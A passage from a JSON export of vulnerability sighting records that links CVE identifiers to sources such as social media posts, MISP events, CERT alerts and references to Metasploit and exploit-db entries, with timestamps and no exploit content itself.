"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtywvh5ae2w", "content": "", "creation_timestamp": "2025-01-29T03:15:46.643948Z"}, {"uuid": "2b0ea0cb-46b8-4929-aafb-d932ca80304c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113909520925155694", "content": "", "creation_timestamp": "2025-01-29T03:29:12.491408Z"}, {"uuid": "ffc53e55-fb73-4c9b-8d5d-f2ab12eac6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgu4bs5amr2t", "content": "", "creation_timestamp": "2025-01-29T04:15:33.514596Z"}, {"uuid": "388006ed-6e55-41f7-97c2-aaf51415e0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0800", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:37.000000Z"}, {"uuid": "ec3a0c42-5e31-4edd-8ac0-c9982554305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0803", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:37.000000Z"}, {"uuid": "746396c6-98b2-4e0d-b73a-9401662fe5ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgugczwriv2r", "content": "", "creation_timestamp": "2025-01-29T07:15:12.829947Z"}, {"uuid": "717a3061-9c39-4358-b246-c71f36bc92bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgugczzzer2k", "content": "", "creation_timestamp": "2025-01-29T07:15:13.320701Z"}, {"uuid": "6ec3ed8f-47eb-47a5-b09b-dce714477443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:44.000000Z"}, {"uuid": "f9d2f670-543c-4084-a15b-0e21889a56ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:10.000000Z"}, {"uuid": "26729339-501c-46ed-bb86-c61d49313ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113988831796748506", "content": "", "creation_timestamp": "2025-02-12T03:39:00.384488Z"}, {"uuid": "5e975b8e-e5a9-414e-80b0-380bf0803138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxcvdcxhb2c", "content": "", "creation_timestamp": "2025-02-12T04:17:02.276451Z"}, {"uuid": "6c5a0d08-8229-46f7-82c5-2d5ce9d6ea98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkx7uyxs272l", "content": "", "creation_timestamp": "2025-03-22T07:38:49.174288Z"}, {"uuid": "6c539845-2bda-4681-9321-98e794dd03d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-9d1c9d9f-675cdbc3d8f48478", "content": "", "creation_timestamp": "2025-03-01T00:19:16.312235Z"}, {"uuid": "ab63e100-f55d-450c-8fa9-9c19f3c63324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0805", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligj2ixi552t", "content": "", "creation_timestamp": "2025-02-18T05:17:14.481482Z"}, {"uuid": "9c5fcb61-daab-4446-9bf5-98da03025ad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ligqt4qfrp2e", "content": "", "creation_timestamp": "2025-02-18T07:36:17.242890Z"}, {"uuid": "06e9a335-77f1-40a5-871c-8943ba4caac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:40.000000Z"}, {"uuid": "6f231e06-cc66-4209-a6c8-86d26d9d8595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:41.000000Z"}, {"uuid": "d6d1288a-0d9e-4103-9a0c-a6158e2718a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:41.000000Z"}, {"uuid": "6f92207e-2a27-4472-9d97-35a077b4315c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0800", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:03.000000Z"}, {"uuid": "e5c560e7-b316-405d-9a56-3c8d8022e368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0803", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:03.000000Z"}, {"uuid": "c55de14f-8761-4a7d-9020-4215118e7b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:53.000000Z"}, {"uuid": "4abfa38b-bbaa-4950-8b63-dc502a14d71b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:35.000000Z"}, {"uuid": "b216ba58-1826-4f13-a02b-6129e631da87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:45.000000Z"}, {"uuid": "10715039-445f-4ff9-9bc4-496022539678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj7phkeeg72w", "content": "", "creation_timestamp": "2025-02-28T05:48:29.780563Z"}, {"uuid": "9a49b403-5fe0-428f-8ac9-79e3b63fe290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0803", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:12.000000Z"}, {"uuid": "34a7497a-886a-4afb-9a99-0be9329594a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0805", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:45.000000Z"}, {"uuid": "db334db2-7d53-435b-8095-4cf3970ee905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-50f1a5f6-768cfe71f5758dad", "content": "", "creation_timestamp": "2025-05-30T12:09:25.464496Z"}, {"uuid": "82e7cf24-97b5-4052-97b4-3d7013769867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0805", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "5065f974-1255-432b-81c0-cd5d462579ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ntusermndragover.rb", "content": "", "creation_timestamp": "2020-05-06T22:35:01.000000Z"}, {"uuid": "b59233a3-1f33-4fd5-a4b6-c7f5c68f9485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0801", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-0801.yaml", "content": "", "creation_timestamp": "2025-11-05T16:44:27.000000Z"}, {"uuid": "045fba90-c743-4764-b087-ea387ac6ddf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0801", "type": "seen", "source": "MISP/af1fbe07-e10c-40c4-844e-d4419bdf6f80", "content": "", "creation_timestamp": "2025-08-22T13:26:18.000000Z"}, {"uuid": "99c7fcee-4b13-49c1-8e47-66cce0c64504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/ssl_version.rb", "content": "", "creation_timestamp": "2022-11-07T22:22:31.000000Z"}, {"uuid": "c15eaf0e-d6f5-4a89-b0e6-145e8c8d15f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-5996e413-521accfb6cd2622e", "content": "", "creation_timestamp": "2025-08-27T14:01:54.713321Z"}, {"uuid": "543e311a-94e4-45f2-aea5-1bbd3ac1e1b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "52976281-a49e-48dd-8a49-3c3f91edfdb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/glassfish_login.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "8de8e921-ba1c-4ab3-af0a-94b2902fd6d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b95ad3c09e144b1374ba582c8572df1a", "content": "", "creation_timestamp": "2025-08-29T13:26:19.000000Z"}, {"uuid": "b6c96120-2380-402c-9441-e95d1d724f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://gist.github.com/Darkcrai86/8e24c88946a42f8f80b0ea8fada3c6be", "content": "", "creation_timestamp": "2025-08-29T20:08:55.000000Z"}, {"uuid": "7d781503-5582-497d-b0ff-36db44e72b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-be4c6ae6-41d04d89fb236f71", "content": "", "creation_timestamp": "2025-08-30T10:23:38.892186Z"}, {"uuid": "12da1247-f4dc-4f02-b39d-983b83a9eb05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0800", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/irix/lpd/tagprinter_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "377089e2-1571-429b-8e2b-c58e2782c7a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:46.000000Z"}, {"uuid": "6052b861-01f2-4ebd-b69c-d1d2d4fc8c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:03.000000Z"}, {"uuid": "7a159b97-6f2b-4707-a20c-e06df6e8c19f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2012-0809", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:13.000000Z"}, {"uuid": "5d9e10fc-bbb4-44b6-9a2d-21b19280a99c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:02.000000Z"}, {"uuid": "597b5a73-c5cb-4a4d-a0f7-fb005c212fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:02.000000Z"}, {"uuid": "af6aa6ee-29b6-42d8-a269-808b33cdb11c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:04.000000Z"}, {"uuid": "afa7a297-167d-4421-9a28-4d3a47ef3604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_proxy_prototype.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "bfd76991-ddf7-4812-814b-2c1aa8e5b0c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0801", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m4yhky5rr62b", "content": "", "creation_timestamp": "2025-11-06T21:02:28.718137Z"}, {"uuid": "8c07cd3b-4c10-40da-b2cf-f264b569c55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0803", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/polarcms_upload_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "32b38c94-fafa-461d-9d5b-b9b2f9127329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/glassfish_deployer.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "3ef87978-e837-425d-a080-40d193381eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "7451c796-f1dd-477d-959e-5db39e922629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0803", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/solaris/dtspcd/heap_noir.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "c92581b9-e5fa-444d-97e8-bc2692bb021e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c39acbe0-91886c343547fcce", "content": "", "creation_timestamp": "2025-12-05T12:35:57.776639Z"}, {"uuid": "e2904294-5920-445d-8d7a-ae9552af6de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-1fdfda19-2805a58255f192e9", "content": "", "creation_timestamp": "2026-03-06T10:29:25.675181Z"}, {"uuid": "5d7f245a-dfd0-4777-8ce5-da52d148cce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116051420491972584", "content": "", "creation_timestamp": "2026-02-11T10:02:27.145803Z"}, {"uuid": "2d0edf4e-64b0-4f7a-b81b-5b869aee1dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116119971185192910", "content": "", "creation_timestamp": "2026-02-23T12:35:46.627570Z"}, {"uuid": "351def3c-aa75-4dfd-a99e-aa9a397f507f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mfjo44ieus2f", "content": "", "creation_timestamp": "2026-02-23T12:36:14.806342Z"}, {"uuid": "0068f455-0916-47a2-aadd-e28a36e75b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://threatintel.cc/2026/02/23/hackers-use-excel-exploit-to.html", "content": "", "creation_timestamp": "2026-02-23T11:35:54.000000Z"}, {"uuid": "0951e8a3-45b1-407c-acf0-57ca0ee7d073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://gist.github.com/aw-junaid/9f4a67eb2ab569d724a8a8910d2e972f", "content": "", "creation_timestamp": "2026-03-01T01:43:27.000000Z"}, {"uuid": "972df19d-8050-4f9b-ab7b-d9cf075f040b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0805", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdmrh3erny2a", "content": "", "creation_timestamp": "2026-01-30T07:23:39.323767Z"}, {"uuid": "62387140-c2e4-4f87-9bc2-766bcf340156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0805", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdmrjegeuz2o", "content": "", "creation_timestamp": "2026-01-30T07:24:55.798819Z"}, {"uuid": "47a21d86-21cd-4ae9-bae1-41d330706382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdmt6joeak2r", "content": "", "creation_timestamp": "2026-01-30T07:54:39.468689Z"}, {"uuid": "313f7305-901c-4ba1-954d-487e0469d2f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-1881dd9d-ae5b04479c91c9fe", "content": "", "creation_timestamp": "2025-12-19T14:57:41.439352Z"}, {"uuid": "e355c808-330f-48f6-bdf4-6cdd773d8948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2018-0802", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3maw3fisvxc2i", "content": "", "creation_timestamp": "2025-12-26T20:00:06.237813Z"}, {"uuid": "8b51adfc-2766-4cbc-8831-a1fb22ebaa3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mevh7ys7zc2m", "content": "", "creation_timestamp": "2026-02-15T11:39:59.740096Z"}, {"uuid": "921d6105-e064-4d18-b595-b8f48f5ca819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3mfnihorwv2ie", "content": "", "creation_timestamp": "2026-02-25T01:05:59.377035Z"}, {"uuid": "307df044-61ed-426a-8ab4-f39df7ebaf8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mflqkjx5mc2s", "content": "", "creation_timestamp": "2026-02-24T08:25:24.873709Z"}, {"uuid": "31d28e5e-292b-42db-b00a-45c751bcb2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=371", "content": "", "creation_timestamp": "2019-03-13T04:00:00.000000Z"}, {"uuid": "c1786f58-223c-4e6b-901c-d7d8333d0403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=378", "content": "", "creation_timestamp": "2019-04-10T04:00:00.000000Z"}, {"uuid": "cd78d2c2-0256-40fd-9b10-742a35bb6f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbz73hhxuz2m", "content": "", "creation_timestamp": "2026-01-09T19:09:14.899013Z"}, {"uuid": "21156fab-feb0-48e5-a064-7589202055e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2011-0807", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/17615", "content": "", "creation_timestamp": "2011-08-05T00:00:00.000000Z"}, {"uuid": "1f5c2eb6-3844-4ca4-b14e-e07552e81147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0808", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcmetqdnqy2x", "content": "", "creation_timestamp": "2026-01-17T10:12:53.129049Z"}, {"uuid": "2014a0fb-a497-469a-ab43-73f05799c855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2009-0801", "type": "seen", "source": "https://gist.github.com/cr2025x1/12156d5b9cf016cfe5fa5356c4f2a634", "content": "", "creation_timestamp": "2026-01-20T09:30:20.000000Z"}, {"uuid": "80d56064-2665-4fd6-ba25-6ad99d825e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0804", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/13945", "content": "", "creation_timestamp": "2010-06-20T00:00:00.000000Z"}, {"uuid": "b916f024-fd19-40b9-9540-56eb8e5d6c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 